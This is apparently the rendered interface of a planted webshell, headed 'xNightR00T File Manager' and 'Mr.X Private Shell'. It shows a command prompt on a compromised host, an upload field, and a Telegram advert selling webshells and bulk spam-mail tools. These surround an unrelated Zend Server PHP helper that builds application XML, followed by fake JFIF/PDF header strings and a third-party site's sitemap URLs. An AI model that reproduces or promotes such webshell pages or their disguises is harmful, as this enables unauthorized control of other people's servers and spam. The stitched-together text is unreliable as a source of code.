xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Deployment\View\Helper;

use Zend\View\Helper\AbstractHelper;
use Application\Module,
    Deployment\Model;
use ZendServer\Log\Log;
use ZendServer\Configuration\Manager;
use ZendDeployment_DB_Handler;
use Deployment\View\Helper\AppStatus;

class ApplicationInfoXml extends AbstractHelper
{

    /**
     * @param \Deployment\Application\Container $application
     * @return string
     */
    public function __invoke(\Deployment\Application\Container $application, array $servers = array(),
                             $allVhosts = array(), $activeTasks = array())
    {
        $deployedVersions = '<deployedVersion>'.$application->getVersion().'</deployedVersion>';
        if ($application->isRollbackable()) {
            $deployedVersions .= ('<applicationRollbackVersion>'.$application->getRollbackToVersion()->getVersion().'</applicationRollbackVersion>');
        }

        $rollbackable         = $application->isRollbackable() ? 'true' : 'false';
        $redeployable         = (!$application->cannotRedeploy()) ? 'true' : 'false';
        $isDefinedApplication = ($application->isDefinedApplication()) ? 'true' : 'false';

        $pendingVersion = $application->getPendingVersion();
        if (!$pendingVersion) {
            $pendingVersion = 'false';
        }
        
        // active tasks of the app
        $activeTasksXml = '';
        $status = $this->getView()->appStatus($application->getStatus());
        if (isset($activeTasks) && !empty($activeTasks[$application->getApplicationId()])) {
            foreach ($activeTasks[$application->getApplicationId()] as $activeTaskData) {
                if(ZendDeployment_DB_Handler::TASK_TYPE_REMOVE == $activeTaskData['type'] && $status == AppStatus::DEPLOYED_STATUS){
                    $status = AppStatus::DEACTIVATING_STATUS;
                }
                $activeTasksXml.= '<activeTask>'.$activeTaskData['type'].'</activeTask>';
            }
        }

        $serversXML = '';
        foreach ($servers as $server => $serverData) {
            $serversXML .= "<applicationServer>
<id>$server</id>
<deployedVersion>".$serverData['version']."</deployedVersion>
<status>".$this->getView()->appStatus($serverData['status']).'</status>
<messages><![CDATA['.$serverData['messages'].']]></messages>
</applicationServer>';
        }

        if (empty($servers)) {
            $serversXML .= "<applicationServer>
				<id>0</id>
				$deployedVersions
<status>{$status}</status>
</applicationServer>";
        }

        $applicationPool = '';
        if (Manager::isIIS()) {
            $applicationPool = "<applicationPool><![CDATA[{$application->getApplicationPool()}]]></applicationPool>";
        }
        
        $pendingVersionData = $application->getPendingVersionData();
        if (!$pendingVersionData) {
            $pendingVersionData = '<pendingVersionData></pendingVersionData>';
        } else {
            $pendingVersionData = $this->getView()->arrayToXml($pendingVersionData, 'pendingVersionData');
        }
        $vhostIds       = $application->getVhostIds();
        $vhostIdsString = implode(',', $vhostIds);
        $isCanAttach    = count($vhostIds) < count($allVhosts);
        return <<<XML
	<applicationInfo>
		<id>{$application->getApplicationId()}</id>
		<baseUrl><![CDATA[{$this->getView()->applicationUrl($application->getBaseUrl())}]]></baseUrl>
		<appName><![CDATA[{$application->getApplicationName()}]]></appName>
		<userAppName><![CDATA[{$application->getUserApplicationName()}]]></userAppName>
		$applicationPool
		<installedLocation><![CDATA[{$application->getInstallPath()}]]></installedLocation>
		<status>{$status}</status>
        <activeTasks>{$activeTasksXml}</activeTasks>
		<isRollbackable>{$rollbackable}</isRollbackable>
		<isRedeployable>{$redeployable}</isRedeployable>
		<servers>{$serversXML}
		</servers>
		$deployedVersions
		<messageList>{$this->getMessages($application, $servers)}</messageList>
		<creationTime>{$this->getView()->webapiDate($application->getCreationTime())}</creationTime>
		<creationTimeTimestamp>{$application->getCreationTime()}</creationTimeTimestamp>
		<lastUsed>{$this->getView()->webapiDate($application->getLastUsed())}</lastUsed>
		<lastUsedTimestamp>{$application->getLastUsed()}</lastUsedTimestamp>
		<isDefinedApplication>{$isDefinedApplication}</isDefinedApplication>
		<vhostId>{$isDefinedApplication}</vhostId>
		<vhostIds>{$vhostIdsString}</vhostIds>
		<isCanAttachVhosts>{$isCanAttach}</isCanAttachVhosts> 	
		<pendingVersion>{$pendingVersion}</pendingVersion>
		{$pendingVersionData}
	</applicationInfo>
XML;
    }

    private function getMessages(\Deployment\Application\Container $application, $servers)
    {
        $messagesXml = '';
        foreach ($application->getErrors() as $error) {
            $messagesXml .= "<error><![CDATA[{$error}]]></error>";
        }

        $appHealthStatus = $application->getConvertedHealthStatus();
        if ($appHealthStatus != Model::HEALTH_OK && ($message         = $application->getHealthMessage())) {
            $messagesXml .= "<warning><![CDATA[{$message}]]></warning>";
        }

        foreach ($servers as $server => $serverData) {
            if (trim($serverData['messages']) != '' && !$application->getErrors()) {
                $messagesXml .= '<message><![CDATA['.$serverData['messages'].']]></message>';
            }
        }

        return $messagesXml;
    }
}

Filemanager

Name Type Size Permission Actions
AppDetails.php File 856 B 0644
AppHealthCheckStatus.php File 543 B 0644
AppLogo.php File 901 B 0644
AppPrerequisites.php File 5.67 KB 0644
AppPrerequisitesJson.php File 919 B 0644
AppStatus.php File 2.31 KB 0644
ApplicationInfoJson.php File 6.3 KB 0644
ApplicationInfoXml.php File 5.3 KB 0644
ApplicationUrl.php File 2.69 KB 0644
DownloadStatus.php File 678 B 0644
ZGridApplicationInfo.php File 950 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml